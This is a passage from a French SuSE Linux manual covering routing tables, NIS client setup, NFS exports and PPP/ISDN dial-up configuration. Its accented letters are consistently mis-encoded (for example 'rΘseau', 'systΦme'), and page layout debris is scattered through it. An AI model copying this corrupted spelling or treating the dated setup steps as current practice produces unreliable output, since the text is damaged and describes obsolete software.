  10824.  *______________________
  10825.  
  10826.  
  10827.  
  10828. Un  exemple  simple  de  fichier  /etc/route.conf  nous  est  donnΘ  par  la
  10829. figure  5.3.1.  Si  de  nouvelles  entrΘes  sont  faites  dans  /etc/route.conf,
  10830. celles-ci seront prises en compte dans la table de routage α l'aide de l'entrΘe
  10831.       terre:~||#  rcroute  restart                                                                                             |
  10832.        _______________________________________________________________________________________________________________________||||
  10833.        |||||||| #  Destination           Dummy/Gateway           Netmask                    Device                             |
  10834.        |||||||| #                                                                                                              |
  10835.        |||||||| #  192.168.0.1           0.0.0.0                    255.255.255.255        ippp0                               |
  10836.        |||||||| #  default                 192.168.0.1                                                                         |
  10837.        |||||||| #                                                                                                              |
  10838.        ||||||||                                                                                                                |
  10839.        |||||||| #  Net  devices                                                                                                |
  10840.        |||||||| #                                                                                                              |
  10841.        |||||||| 127.0.0.0                 0.0.0.0                    255.255.255.0           lo                                |
  10842.        |||||||| 204.127.235.0           0.0.0.0                    255.255.255.0           eth0                                |
  10843.        ||||||||                                                                                                                |
  10844.        |||||||| #                                                                                                              |
  10845.        |||||||| #  Gateway                                                                                                     |
  10846.        |||||||| #                                                                                                              |
  10847.        |||||||| default                    204.127.235.41                                                                      |
  10848.        ||||||||                                                                                                                |
  10849.        |||||||| #                                                                                                              |
  10850.        |||||||| #  Host  behind  Gateway                                                                                       |
  10851.        |||||||| #                                                                                                              |
  10852.        |||||||| 207.68.156.51           207.68.145.45           255.255.255.255                                                |
  10853.        ||||||||                                                                                                                |
  10854.        |||||||| #                                                                                                              |
  10855.        |||||||| #  Net  behind  a  Gateway                                                                                     |
  10856.        |||||||| #                                                                                                              |
  10857.        |||||||| 192.168.0.0              207.68.156.51           255.255.0.0                                                   |
  10858.        ||||||||_______________________________________________________________________________________________________________ |
  10859.              fichier 5.3.1: Exemple simple de fichier /etc/route.conf
  10860. 5.4       NIS, les pages jaunes du LAN
  10861.  
  10862.  
  10863. 5.4.1      Qu'est-ce que le NIS ?
  10864.  
  10865. DΦs  que  plusieurs  systΦmes  UNIX  dans  un  rΘseau  veulent  avoir  accΦs  aux
  10866. ressources communes, il convient de s'assurer que tous les noms d'utilisateurs
  10867. et  de  groupes  sont  identiques  sur  toutes  les  machines.  Le  rΘseau  doit  Ωtre
  10868. transparent pour l'utilisateur ; quelque soit la machine sur laquelle il travaille,
  10869. il doit toujours trouver le mΩme environnement. Ceci est rendu possible par
  10870. les services NIS et NFS. NFS sert α la rΘpartition de systΦmes de fichiers dans
  10871. le rΘseau et sera dΘcrit au paragraphe 5.5 page 167.
  10872.  
  10873. NIS  (angl.  Network  Information  Service)3   peut  Ωtre  considΘrΘ  comme  une
  10874. base de donnΘes qui gΦre et distribue de maniΦre centralisΘe les informations
  10875. rΘseau  contenues  dans  les  fichiers  /etc/passwd,  /etc/shadow  ou  /etc/
  10876. group. NIS peut aussi Ωtre utilisΘ pour d'autres tΓches plus spΘcialisΘes (par
  10877. exemple pour /etc/hosts ou /etc/services) que nous ne mentionnerons
  10878. pas ici.
  10879.  
  10880.  
  10881. 5.4.2      Installation d'un client NIS
  10882.  
  10883. Dans le paquetage ypclient, sΘrie n, vous trouverez tous les programmes
  10884. indispensables α l'installation d'un client NIS. Pour l'installer, vous devrez
  10885. parcourir les Θtapes suivantes :
  10886. 3      ____________________________________________________
  10887.    NIS est trΦs souvent remplacΘ par `YP'. Il s'agit des yellow pages ou pages jaunes dans le
  10888. rΘseau.
  10889.  
  10890.  
  10891.                                                                                                                                    *
  10892.  *   165
  10893. 5.  En rΘseau avec_Linux___________________________________________________________________________________________________________*
  10894.  *_______________________________________@
  10895.  
  10896.  
  10897.  
  10898.                              ~   DΘterminer le domaine NIS lors du dΘmarrage du systΦme
  10899.                                  Pour cela, la variable YP_DOMAINNAME             doit Ωtre positionnΘe dans /etc/
  10900.                                  rc.config.  Lors  du  passage  dans  un  niveau  d'exΘcution  dans  lequel
  10901.                                  on utilise le rΘseau, /sbin/init.d/network exploite cette variable et
  10902.                                  dΘtermine le nom en consΘquence.
  10903.  
  10904.                                  Le nom de domaine NIS ne doit pas Ωtre confondu avec le nom de do-
  10905.                                  maine  DNS  .  Ces  noms  peuvent  Ωtre  identiques  mais  n'ont  absolument
  10906.                                  rien α voir l'un avec l'autre !
  10907.  
  10908.                              ~   DΘtermination du serveur NIS.
  10909.  
  10910.                                  Le nom du serveur NIS est insΘrΘ dans /etc/rc.config par la variable
  10911.                                  YP_SERVER        .  SuSEconfig  Θcrit  ces  noms,  au  format  qui  convient,  dans
  10912.                                  le fichier /etc/yp.conf (voir fichier 5.4.1). Si vous avez positionnΘ la
  10913.                                  variable  avec  YaST ,  cela  sera  fait  automatiquement.  Dans  ce  fichier,  il
  10914.                                  doit exister une ligne commenτant par le mot-clΘ ypserver        et contenant
  10915.                                  le nom du serveur NIS.
  10916.                            ________________________________________________________________________________________________________*
  10917.  *________||||
  10918.                            | #  /etc/yp.conf                                                                                       *
  10919.  *         |
  10920.                            | #                                                                                                     *
  10921.  *         |
  10922.                            | #  Syntax:                                                                                            *
  10923.  *         |
  10924.                            |                                                                                                       *
  10925.  *         |
  10926.                            | #                                                                                                     *
  10927.  *         |
  10928.                            | #  ypserver     <servername>           Define  which  host  to  contact                               *
  10929.  *         |
  10930.                            |                                                                                                       *
  10931.  *         |
  10932.                            | #                                                    for  YP  service.                                *
  10933.  *         |
  10934.                            | #                                                                                                     *
  10935.  *         |
  10936.                            |                                                                                                       *
  10937.  *         |
  10938.                            | ypserver         soleil.cosmos.univers                                                                *
  10939.  *         |
  10940.                            | #  End  of  /etc/yp.conf                                                                              *
  10941.  *         |
  10942.                            |_______________________________________________________________________________________________________*
  10943.  *________ |
  10944.  
  10945.                                                               fichier 5.4.1: /etc/yp.conf
  10946.  
  10947.  
  10948.  
  10949.                              ~   Le  nom  du  serveur  NIS  (par  exemple  soleil.cosmos.univers)  doit
  10950.                                  pouvoir Ωtre rΘsolu via /etc/hosts.
  10951.  
  10952.                              ~   Assurez-vous que le RPC Portmapper est lancΘ.
  10953.  
  10954.                                  NIS utilise RPC (angl. Remote Procedure Calls) et il est donc indispen-
  10955.                                  sable que le RPC Portmapper fonctionne. Ce serveur est lancΘ par le script
  10956.                                  /sbin/init.d/rpc. Ceci se fait aussi automatiquement si le lancement
  10957.                                  du Portmapper est dΘfini dans le fichier /etc/rc.config.
  10958.  
  10959.                              ~   ComplΘter les entrΘes dans /etc/passwd et /etc/group.
  10960.  
  10961.                                  Pour qu'aprΦs la recherche effectuΘe dans les fichiers locaux il soit adressΘ
  10962.                                  une requΩte au serveur NIS, les fichiers correspondants devront Ωtre com-
  10963.                                  plΘtΘs par une ligne commenτant par le signe d'addition (`+'). NIS per-
  10964.                                  met  d'activer  ici  un  grand  nombre  d'autres  options,  par  exemple  Net-
  10965.                                  groups ou remplacement d'entrΘes NIS.
  10966.  
  10967.                              ~   Lancer ypbind .
  10968.  
  10969.                                  La derniΦre phase de l'installation du client NIS est le lancement du pro-
  10970.                                  gramme ypbind  qui marque le dΘmarrage proprement dit du client NIS.
  10971.                                  Ce programme sera Θgalement lancΘ automatiquement si vous avez confi-
  10972.                                  gurΘ votre rΘseau avec YaST .
  10973.  
  10974.                              ~   Activer les modifications.
  10975.  
  10976.  
  10977. 166
  10978.        ______________________________________________________________________5.5.__NFS_~_SystΦmes_de_fichiers_rΘpartis_____________*
  10979.  *______________________
  10980.  
  10981.  
  10982.  
  10983.       Vous  devez  maintenant  soit  redΘmarrer  votre  systΦme,  soit  rΘactiver  les
  10984.       services nΘcessaires en tapant
  10985.             terre:~  #  rcnetwork  restart
  10986.             terre:~  #  rcypclient  restart
  10987.  
  10988. 5.4.3       Serveur maεtre et serveur esclave NIS
  10989.  
  10990. Vous devez installer le paquetage ypserv, sΘrie n. La procΘdure exacte est
  10991. dΘcrite dans /usr/doc/packages/yp/HOWTO.
  10992.  
  10993.  
  10994. 5.5       NFS ~ SystΦmes de fichiers rΘpartis
  10995.  
  10996. Comme nous l'avons dΘjα mentionnΘ au paragraphe 5.4 page 165, NFS tout
  10997. comme NIS, sert α rendre le rΘseau transparent pour l'utilisateur. NFS permet
  10998. de rΘpartir des systΦmes de fichiers dans le rΘseau. Quelque soit la machine
  10999. sur laquelle travaille l'utilisateur, l'environnement est toujours le mΩme.
  11000.  
  11001. NFS, tout comme NIS, est un service asymΘtrique. Il existe des serveurs NFS
  11002. et des clients NFS. Mais une machine peut aussi Ωtre les deux, ce qui signifie
  11003. qu'elle peut simultanΘment mettre des systΦmes de fichiers α la disposition
  11004. du rΘseau (``exporter'') et monter les systΦmes de fichiers d'autres machines
  11005. (``importer''). Mais gΘnΘralement, on utilise plut⌠t des serveurs dotΘs d'une
  11006. trΦs grande capacitΘ de disque dur dont les systΦmes de fichiers sont montΘs
  11007. par des clients.
  11008.  
  11009.  
  11010. 5.5.1      Importation des systΦmes de fichiers
  11011.  
  11012. Il est trΦs simple d'importer des systΦmes de fichiers depuis un serveur NFS. Il
  11013. suffit d'avoir lancΘ le RPC Portmapper . Nous avons dΘjα parlΘ du lancement
  11014. de ce serveur en relation avec NIS (voir paragraphe 5.4.2 page ci-contre). DΦs
  11015. que cette condition est remplie, les systΦmes de fichiers externes (s'ils ont ΘtΘ
  11016. exportΘs par les machines correspondantes) peuvent Ωtre montΘs, de la mΩme
  11017. maniΦre qu'un systΦme de fichier local, avec la commande mount     . La syntaxe
  11018. est la suivante :
  11019.  
  11020. mount  -t  nfs  <Machine>  :<Chemin  distant>  <Chemin  local>
  11021.  
  11022. Si  par  exemple  les  rΘpertoires  utilisateurs  doivent  Ωtre  importΘs  depuis  la
  11023. machine soleil      , on utilise la commande suivante :
  11024.  
  11025.       terre:~  #  mount  -t  nfs  soleil:/home  /home
  11026.  
  11027.  
  11028. 5.5.2      Exportation des systΦmes de fichiers
  11029.  
  11030. Une machine qui exporte des systΦmes de fichiers est appelΘe serveur NFS.
  11031. Sur un serveur NFS, certains programmes rΘseau doivent tourner :
  11032.  
  11033.   ~   RPC Portmapper (portmap )
  11034.  
  11035.   ~   DΘmon RPC mount (rpc.mountd )
  11036.  
  11037.   ~   DΘmon RPC NFS (rpc.nfsd )
  11038.  
  11039. Ils  sont  lancΘs,  au  moment  du  dΘmarrage  du  systΦme,  par  les  scripts
  11040. /sbin/init.d/rpc  et /sbin/init.d/nfsserver . Le lancement du RPC Portmapper a
  11041. dΘjα ΘtΘ dΘcrit au paragraphe 5.4.2 page prΘcΘdente.
  11042.  
  11043.  
  11044.                                                                                                                                    *
  11045.  *   167
  11046. 5.  En rΘseau avec_Linux___________________________________________________________________________________________________________*
  11047.  *_______________________________________@
  11048.  
  11049.  
  11050.  
  11051.                            AprΦs le lancement de ces dΘmons, on doit encore dΘterminer quels systΦmes
  11052.                            de  fichiers  doivent  Ωtre  exportΘs  vers  quelle  machine.  Ceci  se  fait  dans  le
  11053.                            fichier /etc/exports.
  11054.  
  11055.                            Chaque  rΘpertoire  α  exporter  requiert  une  ligne  dans  laquelle  il  est  prΘcisΘ
  11056.                            quelles machines peuvent y avoir accΦs et de quelle maniΦre. Tous les sous-
  11057.                            rΘpertoires d'un rΘpertoire exportΘ sont eux aussi exportΘs automatiquement.
  11058.                            Les machines autorisΘes sont spΘcifiΘes avec leur nom (qui inclut le nom de
  11059.                            domaine) mais il est aussi possible d'utiliser les caractΦres jokers `*' et ` ?'
  11060.                            qui ont la fonction que nous connaissons dΘjα sous bash . S'il n'est pas indiquΘ
  11061.                            de nom de machine, chaque machine sera autorisΘe (avec les droits spΘcifiΘs)
  11062.                            α accΘder α ce rΘpertoire.
  11063.  
  11064.                            Les droits avec lesquels le rΘpertoire est exportΘ sont spΘcifiΘs entre paren-
  11065.                            thΦses aprΦs le nom de la machine. Les options les plus importantes pour les
  11066.                            droits d'accΦs sont ΘnumΘrΘes dans le tableau suivant.
  11067.                             _______________________________________________________________________________________________________*
  11068.  *_________
  11069.  
  11070.                               ro                          Le systΦme de fichiers est exportΘ avec droits de lec-
  11071.                                                           ture seule (par dΘfaut).
  11072.                               rw                          Le systΦme de fichiers est exportΘ avec droits de lec-
  11073.                                                           ture et d'Θcriture.
  11074.                               root`squash                 Cette option a pour effet que l'utilisateur `root' de la
  11075.                                                           machine spΘcifiΘe n'a, sur ce systΦme de fichiers, au-
  11076.                                                           cun des droits spΘciaux propres α l'utilisateur `root'.
  11077.                                                           On obtient ceci en assignant aux utilisateurs possΘdant
  11078.                                                           un ID 0  (root) un ID 65534  (-2)        . Cet ID est assignΘ
  11079.                                                           α l'utilisateur `nobody' (par dΘfaut).
  11080.                               no`root`squash              Les droits d'accΦs de l'utilisateur `root' demeurent
  11081.                                                           inchangΘs.
  11082.                               link`relative               Modification de liens symboliques absolus (ceux qui
  11083.                                                           commencent  par  `/')  dans  une  sΘquence  de  `../'.
  11084.                                                           Cette option n'est utile que dans le cas o∙ l'ensemble
  11085.                                                           du systΦme de fichiers d'une machine est montΘ (par
  11086.                                                           dΘfaut).
  11087.                               link`absolute               Les liens symboliques demeurent inchangΘs.
  11088.                               map`identity                Les mΩmes ID sont utilisΘs sur le client et sur le ser-
  11089.                                                           veur (par dΘfaut).
  11090.                               map`daemon                  Les   ID   utilisateurs   du   client   et   du   serveur   ne
  11091.                                                           concordent pas. Cette option demande α nfsd  de crΘer
  11092.                                                           une table de conversion pour les ID utilisateurs. Pour
  11093.                                                           cela il est toutefois nΘcessaire que le dΘmon ugidd soit
  11094.                                                           activΘ.
  11095.  
  11096.                             _______________________________________________________________________________________________________*
  11097.  *_________
  11098.  
  11099.                                                  Tab. 5.6: Droits d'accΦs pour fichiers exportΘs
  11100.  
  11101.  
  11102.                            Le fichier exports peut Ωtre semblable au fichier 5.5.1 page ci-contre.
  11103.  
  11104.  
  11105. 168
  11106.        ______________________________________________________________________5.5.__NFS_~_SystΦmes_de_fichiers_rΘpartis_____________*
  11107.  *______________________
  11108.  
  11109.        _______________________________________________________________________________________________________________________||
  11110.        |||||||| #                                                                                                              |
  11111.        |||||||||#  /etc/exports                                                                                                ||
  11112.        |||||||| #                                                                                                              |
  11113.        |||||||| /home                     soleil(rw)     vΘnus(rw)                                                             |
  11114.        |||||||| /usr/X11                soleil(ro)     vΘnus(ro)                                                               |
  11115.        ||||||||                                                                                                                |
  11116.        |||||||| /usr/lib/texmf     soleil(ro)     vΘnus(rw)                                                                    |
  11117.        |||||||| /                            terre(ro,root_squash)                                                             |
  11118.        ||||||||                                                                                                                |
  11119.        |||||||| /home/ftp              (ro)                                                                                    |
  11120.        |||||||| #  End  of  exports                                                                                            |
  11121.        ||||||||_______________________________________________________________________________________________________________ |
  11122.  
  11123.                                    fichier 5.5.1: /etc/exports
  11124.  
  11125.  
  11126.  
  11127. Le  fichier  /etc/exports  est  lu  par  mountd  et  nfsd .  Si  quelque  chose  y
  11128. est  modifiΘ,  mountd  et  nfsd  devront  Ωtre  relancΘs  afin  que  la  modification
  11129. soit prise en compte ! La maniΦre la plus simple d'y parvenir est de taper la
  11130. commande :
  11131.  
  11132.       terre:~  #  rcnfsserver  restart
  11133.  
  11134.  
  11135.  
  11136.                                                                                                                                    *
  11137.  *   169
  11138. 5.  En rΘseau avec_Linux___________________________________________________________________________________________________________*
  11139.  *_______________________________________@
  11140.  
  11141. 170
  11142.  
  11143.                                                                                                            Chapitre  6
  11144.                    Votre   ouverture   sur   le   monde   ~
  11145.  
  11146.  
  11147.  
  11148.                                                                  PPP,   ISDN,   Fax   : : :
  11149.  
  11150.  
  11151. Tout  comme  la  connexion  au  rΘseau  local,  la  connexion  α  un  +  WAN
  11152. (angl. Wide Area Networks),                rΘseau  plus  vaste  et  rΘparti,  et  l'utilisation  de
  11153. boεtes α lettres prΘsentent de nombreux avantages.
  11154.  
  11155. Dans  le  monde  Unix,  deux  standards  de  connexion  α  de  grands  rΘseaux  se
  11156. sont Θtablis. Il s'agit des liaisons UUCP et TCP/IP rΘalisΘes par modem ou par
  11157. ISDN. Alors que UUCP (Unix to Unix CoPy) sert principalement au transport
  11158. de news et de courrier Θlectronique (E-mail) , la connexion TCP/IP reprΘsente
  11159. une vΘritable connexion rΘseau qui met α disposition tous les services connus
  11160. dans un LAN ~ d'ailleurs basΘ aussi sur TCP/IP.
  11161.  
  11162. Si  la  connexion  TCP/IP  est  Θtablie  par  modem  ou  par  ISDN,  on  utilise  en
  11163. gΘnΘral  aujourd'hui  PPP  (Point  to  Point  Protocol)1 .  Pour  ISDN,  on  utilise
  11164. principalement syncPPP       (voir paragraphe 6.2.5 page 180).
  11165.  
  11166. La connexion α un WAN sera traitΘe dans les paragraphes suivants. PPP fera
  11167. l'objet  d'une  courte  prΘsentation  (paragraphe  6.1).  Ce  sera  ensuite  le  tour
  11168. de  la  configuration  ISDN  (paragraphe  6.2  page  173).  Nous  parlerons  aussi
  11169. de la connexion par modem analogique (paragraphe 6.5 page 190) et de la
  11170. configuration d'une connexion PPP par modem (paragraphe 6.6 page 190).
  11171. Le  courrier  Θlectronique  (E-mail,  voir  paragraphe  6.8  page  205)  et  la  mise
  11172. en place d'un systΦme de news (paragraphe 6.9 page 208)   ainsi que le fax
  11173. (paragraphe 6.10 page 210)  vous seront prΘsentΘs dans leurs grandes lignes.
  11174.  
  11175. 6.1       PPP
  11176.  
  11177. PPP (angl. Point to Point Protocol) vous donne la possibilitΘ d'utiliser TCP/IP
  11178. α travers une ligne sΘrie. Le client PPP et le serveur PPP peuvent dialoguer
  11179. lors  de  l'Θtablissement  de  la  connexion  au  moyen  de  diffΘrents  paramΦtres
  11180. de protocole. Le serveur peut faire connaεtre son adresse IP au client et lui
  11181. attribuer aussi une adresse IP.
  11182.  
  11183. PPP, contrairement α SLIP, est un standard dΘfini qui est maintenant proposΘ
  11184. par  la  plupart  des  fournisseurs  d'accΦs  Internet  comme  seul  protocole  de
  11185. connexion.
  11186.  
  11187. Dans PPP, le r⌠le central est jouΘ par le dΘmon pppd  qui permet l'accΦs aux
  11188. pΘriphΘriques PPP. Le dΘmon PPP peut Ωtre utilisΘ aussi bien comme client
  11189. 1      ____________________________________________________
  11190.   SLIP (Serial Line Internet Protocol) Θtant de moins en moins α la mode
  11191.  
  11192.  
  11193.                                                                                                                                    *
  11194.  *   171
  11195. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  11196.  *_______________________________________@
  11197.  
  11198.  
  11199.  
  11200.                            que comme serveur. Pour l'Θtablissement de la connexion proprement dite on
  11201.                            se sert du programme wvdial  ou du programme chat .
  11202.  
  11203.  
  11204.                            6.1.1      Conditions pour la mise en service de PPP
  11205.  
  11206.                            Voici ce qui est nΘcessaire α la mise en service de PPP sous SuSE     Linux :
  11207.  
  11208.  
  11209.                              ~   Le noyau doit supporter TCP/IP et PPP ! C'est le cas du noyau qui vous
  11210.                                  est fourni et de ses modules ~ il ne vous est donc pas nΘcessaire de gΘnΘrer
  11211.                                  votre propre noyau.
  11212.  
  11213.                              ~   Les logiciels rΘseau doivent Ωtre installΘs. Le paquetage nkita et le pa-
  11214.                                  quetage nkitb, sΘrie a sont absolument indispensables.
  11215.  
  11216.                              ~   Le paquetage de base est le paquetage ppp, sΘrie n dans lequel sont inclus
  11217.                                  le dΘmon pppd  et le programme chat .
  11218.  
  11219.                              ~   Si un modem analogique doit Ωtre utilisΘ, le paquetage wvdial, sΘrie n
  11220.                                  sera nΘcessaire pour l'Θtablissement et la cl⌠ture de la connexion.
  11221.  
  11222.                              ~   Si ISDN doit Ωtre configurΘ, lisez le paragraphe 6.2.3 page 175.
  11223.  
  11224.                              ~   Vous devez aussi connaεtre votre nom d'utilisateur et votre mot de passe
  11225.                                  pour l'accΦs au serveur PPP.
  11226.  
  11227.  
  11228.                            6.1.2      Informations complΘmentaires sur PPP
  11229.  
  11230.                            PPP   vous   offre   un   bon   nombre   de   possibilitΘs   pour   configurer   votre
  11231.                            connexion.  Cela  nous  mΦnerait  beaucoup  trop  loin  de  vous  les  prΘsenter
  11232.                            toutes. Si vous avez besoin d'autres options que celles mentionnΘes ici, vous
  11233.                            pouvez  lire  les  +  pages  de  man  qui  s'y  rΘfΦrent,  par  exemple  la  page  de
  11234.                            man de pppd     (man  8  pppd       ). Vous trouverez en outre des informations dΘ-
  11235.                            taillΘes dans les fichiers NET4-3-HOWTO.gz (autrefois : NET-3-HOWTO.gz)
  11236.                            et  PPP-HOWTO.gz  du  rΘpertoire  /usr/doc/howto/en  ainsi  que  dans  les
  11237.                            fichiers   de   documentation   du   rΘpertoire   /usr/doc/packages/ppp   ou
  11238.                            /usr/doc/packages/wvdial.
  11239.  
  11240.                            Vous trouverez des informations dΘtaillΘs sur les prococoles utilisΘs par PPP
  11241.                            dans les RFC correspondantes :
  11242.  
  11243.  
  11244.                              ~   RFC1144  :  Jacobson,  V.  ``Compressing  TCP/IP  headers  for  low-speed
  11245.                                  serial links.'' 1990 February ;
  11246.  
  11247.                              ~   RFC1321  :  Rivest,  R.  ``The  MD5  Message-Digest  Algorithm.''  1992
  11248.                                  April ;
  11249.  
  11250.                              ~   RFC1332  :  McGregor,  G.  ``PPP  Internet  Protocol  Control  Protocol
  11251.                                  (IPCP).'' 1992 May ;
  11252.  
  11253.                              ~   RFC1334  :  Lloyd,  B.  Simpson,  W.A.  ``PPP  authentication  protocols.''
  11254.                                  1992 October ;
  11255.  
  11256.                              ~   RFC1548  :  Simpson,  W.A.  ``The  Point-to-Point  Protocol  (PPP).''  1993
  11257.                                  December ;
  11258.  
  11259.                              ~   RFC1549 : Simpson, W.A. ``PPP in HDLC Framing.'' 1993 December ;
  11260.  
  11261.  
  11262. 172
  11263.        _____________________________________________________________6.2.__AccΦs_Internet_par_ISDN_~_Configuration__________________*
  11264.  *______________________
  11265.  
  11266.  
  11267.  
  11268. 6.2       AccΦs Internet par ISDN ~ Configuration
  11269. En plus des connexions rΘseau ``ordinaires'', Linux est parfaitement en me-
  11270.  
  11271. sure d'Θtablir et de gΘrer des connexions rΘseau avec d'autres machines (par
  11272. exemple avec des fournisseurs d'accΦs Internet). Ceci est d'autant plus simple
  11273. qu'une bonne partie de la configuration ISDN2  peut Ωtre rΘalisΘe α l'aide de
  11274. YaST .
  11275.  
  11276. Ce  paragraphe  se  rΘfΦre  α  la  connexion  standard  α  une  autre  machine  via
  11277. ISDN. Mais ISDN permet bien s√r aussi de faire autre chose sous Linux.
  11278.  
  11279. Nous attirons toutefois votre attention sur le fait que les procΘdures mention-
  11280. nΘes ici peuvent Θventuellement ne pas Ωtre autorisΘes. Les cartes ISDN ac-
  11281. tives, y compris leurs microprogrammes (angl. firmware), ont une autorisation
  11282. qui s'applique aussi α leur mise en oeuvre sous Linux. Par contre, l'autorisa-
  11283. tion des cartes passives ne s'applique en gΘnΘral qu'aux logiciels fournis par
  11284. le constructeur. Les cartes ELSA Microlink PCI (autrefois Quickstep) et Ei-
  11285. con Diva 2.01 constituent une exception α cette rΦgle car elles sont Θgalement
  11286. autorisΘes  sous  Linux.  Si  vous  avez  besoin  d'une  autorisation,  vous  devrez
  11287. donc utiliser une carte active ou connecter une carte passive α une installation
  11288. PABX.
  11289.  
  11290. Contrairement  α  la  connexion  par  modem,  la  connexion  ISDN  ne  requiert
  11291. aucune  commande  spΘciale.  DΦs  que  le  rΘseau  est  mis  en  place,  on  peut
  11292. Θtablir  une  connexion  par  des  activitΘs  normales  telles  que  le  dΘmarrage
  11293. d'une session telnet , http  (WWW), ftp , etc. Ce n'est qu'α ce moment que la
  11294. connexion commutΘe est Θtablie ; cette procΘdure prend environ 3 secondes.
  11295. Il est possible aux utilisateurs n'ayant pas les privilΦges `root' de lancer une
  11296. connexion. On peut dΘterminer le nombre de secondes pendant lesquelles la
  11297. connexion doit rester inactive avant le raccrochage automatique.
  11298.  
  11299. Pendant toute la procΘdure de configuration ISDN, il est conseillΘ de suivre
  11300. les messages du systΦme dans le fichier_/var/log/messages._Chargez pour
  11301. cela, dans un xterm  (sous KDE  : |A____l|t+ |F___|2et ensuite xterm     ) ou une autre
  11302. console virtuelle, le fichier dans le ``visualiseur'' less 3  :
  11303.       terre:  #  less  +F  /var/log/messages
  11304.  
  11305. Avec  l'option  +F  ,  vous  pouvez  voir  ``en  ligne''  sur  l'Θcran  l'affichage_ des
  11306. nouvelles_lignes_qui viennent s'ajouter α chaque fois α ce fichier. Avec |C______|trl
  11307. +  c   |||||||_vous quittez ce mode.
  11308.  
  11309. Le  programme  xisdnload         vous  donne  aussi  la  possibilitΘ  de  surveiller  en
  11310. mode graphique le trafic ISDN.
  11311.  
  11312.  
  11313. 6.2.1      Mise en service d'ISDN - Pas α pas
  11314.  
  11315. Le  paragraphe  qui  va  suivre  dΘcrit  les  diffΘrences  Θtapes  α  parcourir  pour
  11316. accΘder  α  Internet.  Faites  d'abord  un  essai  en  suivant  les  instructions  qui
  11317. vous sont donnΘes et si vous n'obtenez pas de rΘsultat ou si vous avez besoin
  11318. d'informations plus dΘtaillΘes, lisez attentivement les autres paragraphes.
  11319. 2      ____________________________________________________
  11320.    N.d.l.T : Dans le monde francophone, ISDN est connu sous le nom de +  RNIS. L'acronyme
  11321. ISDN Θtant toutefois employΘ dans la domumentation internationale ainsi que dans les noms de
  11322. programmes, il a ΘtΘ conservΘ dans ce manuel et dans les messages de YaST afin de ne pas crΘer
  11323. de confusion.
  11324. 3 Vous trouverez des informations sur less au paragraphe 19.7.3 page 489 et pages suivantes
  11325.  
  11326.  
  11327.                                                                                                                                    *
  11328.  *   173
  11329. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  11330.  *_______________________________________@
  11331.  
  11332.  
  11333.  
  11334.                             1.   DΘmarrez  le  programme  YaST  en__tant_ qu'utilisateur_ `root'  ~  si  vous
  11335.                                  Ωtes  sous  KDE,  appuyez  sur | ____A|lt+ | ___F|2et  tapez  xterm    .  Lancez  YaST
  11336.                                  dans la nouvelle fenΩtre.
  11337.  
  11338.                             2.   Allez  dans  `Administration  du  systΦme',  `Configurer  le  rΘ-
  11339.                                  seau' et `Configuration  de  base  du  rΘseau'.
  11340.  
  11341.                             3.   CrΘez (avec |F___|_5) un nouveau pΘriphΘrique, α savoir ISDN  SyncPPP          . Ap-
  11342.                                  puyez  sur  `RETURN'  pour  accΘder  au  menu  `EntrΘe  des  adresses
  11343.                                  rΘseau'.
  11344.  
  11345.                             4.   Laissez  la  configuration  telle  quelle  (l'adresse  IP  de  votre  machine  est
  11346.                                  192.168.0.99           , celle de la machine α l'autre bout de la connexion Point
  11347.                                  α Point est 192.168.0.1          ). Modifiez uniquement la passerelle par dΘfaut
  11348.                                  pour que son adresse corresponde α l'adresse de la machine distante point
  11349.                                  α point (192.168.0.1          ). Cette option doit Ωtre sΘlectionnΘe si les adresses
  11350.                                  sont assignΘes dynamiquement.
  11351.  
  11352.                             5.   Terminez en sΘlectionnant `Continuer'.
  11353.  
  11354.                             6.   Dans le masque `SΘlection_ du  rΘseau', vous devrez encore activer
  11355.                                  la carte avec |F___|4.
  11356.  
  11357.                             7.   Stockez en mΘmoire avec |F_____|10.
  11358.  
  11359.                             8.   La  procΘdure  se  poursuit  avec  `IntΘgrer  le  matΘriel  dans  le
  11360.                                  systΦme' et ensuite `Configurer  le  matΘriel  ISDN'.
  11361.  
  11362.                             9.   Remplissez maintenant le masque. Au cas o∙ vous ne sauriez pas exac-
  11363.                                  tement ce que vous devez entrer, vous trouverez la documentation nΘces-
  11364.                                  saire sous /usr/doc/packages/i4l ainsi que dans la suite du manuel.
  11365.  
  11366.                           10.    SΘlectionnez ensuite dans la fenΩtre l'option `DΘmarrer'.
  11367.  
  11368.                           11.    Si  vous  avez  obtenu  un  rΘsultat  positif  (vous  verrez  alors  un  message
  11369.                                  apparaεtre α l'Θcran) sΘlectionnez ParamΦtres  ISDN             .
  11370.  
  11371.                           12.    Remplissez Θgalement ce masque.
  11372.  
  11373.                           13.    SΘlectionnez ensuite dans le fenΩtre l'option `DΘmarrer'.
  11374.  
  11375.                           14.    Si  vous  avez  obtenu  un  rΘsultat  positif  (vous  verrez  alors  un  message
  11376.                                  apparaεtre α l'Θcran) sΘlectionnez MΘmoriser        .
  11377.  
  11378.                           15.    Passez α `Configuration  du  serveur  de  noms', rΘpondez `Oui' α
  11379.                                  la question.
  11380.  
  11381.                           16.    SpΘcifiez  l'adresse  IP  du  serveur  de  noms  (DNS)  de  votre  fournisseur
  11382.                                  d'accΦs. Au cas o∙ elle vous serait inconnue, demandez-la α votre four-
  11383.                                  nisseur  d'accΦs.  Mais  le  plus  souvent,  elle  se  trouve  aussi  sur  son  site
  11384.                                  Web.
  11385.  
  11386.                           17.    Quittez YaST . Entrez init  1      dans la fenΩtre de terminal. Ceci vous fait
  11387.                                  aussi quitter KDE (et X).
  11388.  
  11389.                           18.    Connectez-vous sous le compte `root'.
  11390.  
  11391.                           19.    DΘmarrez le rΘseau avec init  2      si vous lancez X avec startx      . Mais si
  11392.                                  vous vous connectez en mode graphique, dΘmarrez avec init  3     .
  11393.  
  11394.                           20.    Si vous dΘmarrez maintenant un navigateur, par exemple Netscape, vous
  11395.                                  pouvez  dΘjα  surfer  sur  Internet.  Lancez  aussi  xisdnload         pour  pouvoir
  11396.                                  contr⌠ler l'Θtat de votre connexion.
  11397.  
  11398.  
  11399. 174
  11400.         _____________________________________________________________6.2.__AccΦs_Internet_par_ISDN_~_Configuration_________________*
  11401.  *_______________________
  11402.  
  11403.  
  11404.  
  11405. 21.    Avec certains fournisseurs d'accΦs, il est en outre nΘcessaire de spΘcifier
  11406.        dans Netscape le serveur proxy qu'ils utilisent :
  11407.        Dans  Netscape  `Edit',  `Preferences',  `Advanced',  `Proxies',
